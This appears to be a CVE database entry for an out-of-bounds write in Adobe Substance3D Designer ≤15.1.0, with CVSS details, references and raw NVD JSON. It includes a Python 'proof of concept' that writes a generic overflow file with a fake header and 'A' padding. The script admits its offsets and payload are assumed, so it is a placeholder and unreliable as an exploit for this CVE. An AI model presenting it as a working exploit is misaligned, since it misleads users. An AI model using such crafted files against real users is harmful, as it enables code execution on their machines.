CVE-2026-34684

Description

Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:substance_3d_designer:*:*:*:*:*:*:*:* - VULNERABLE

Adobe Substance3D Designer <= 15.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-34684
# This script generates a malicious file to trigger the out-of-bounds write.
# Note: Adjust offsets and payload based on actual reverse engineering.

import struct

def create_exploit_file(filename):
    # Constructing a malicious header or data block
    # Assuming a vulnerable structure at offset 0x50
    header = b"MALICIOUS_HEADER" + b"\x00" * 10
    
    # Payload (simulated)
    # Overwriting adjacent memory with specific pattern
    payload = b"A" * 0x100  # Buffer overflow trigger
    
    with open(filename, 'wb') as f:
        f.write(header)
        f.write(payload)
        
    print(f"[+] Exploit file generated: {filename}")

if __name__ == "__main__":
    create_exploit_file("cve_2026_34684_exploit.sbs")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34684
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34684
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34684/
[4] VulDB https://vuldb.com/cve/CVE-2026-34684
[5] https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34684", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:31.807", "lastModified": "2026-05-13T20:16:21.197", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Designer versions 15.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_designer:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.1.0", "matchCriteriaId": "02A59C2B-6B46-4A8E-A2A6-8BEF77AB7122"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}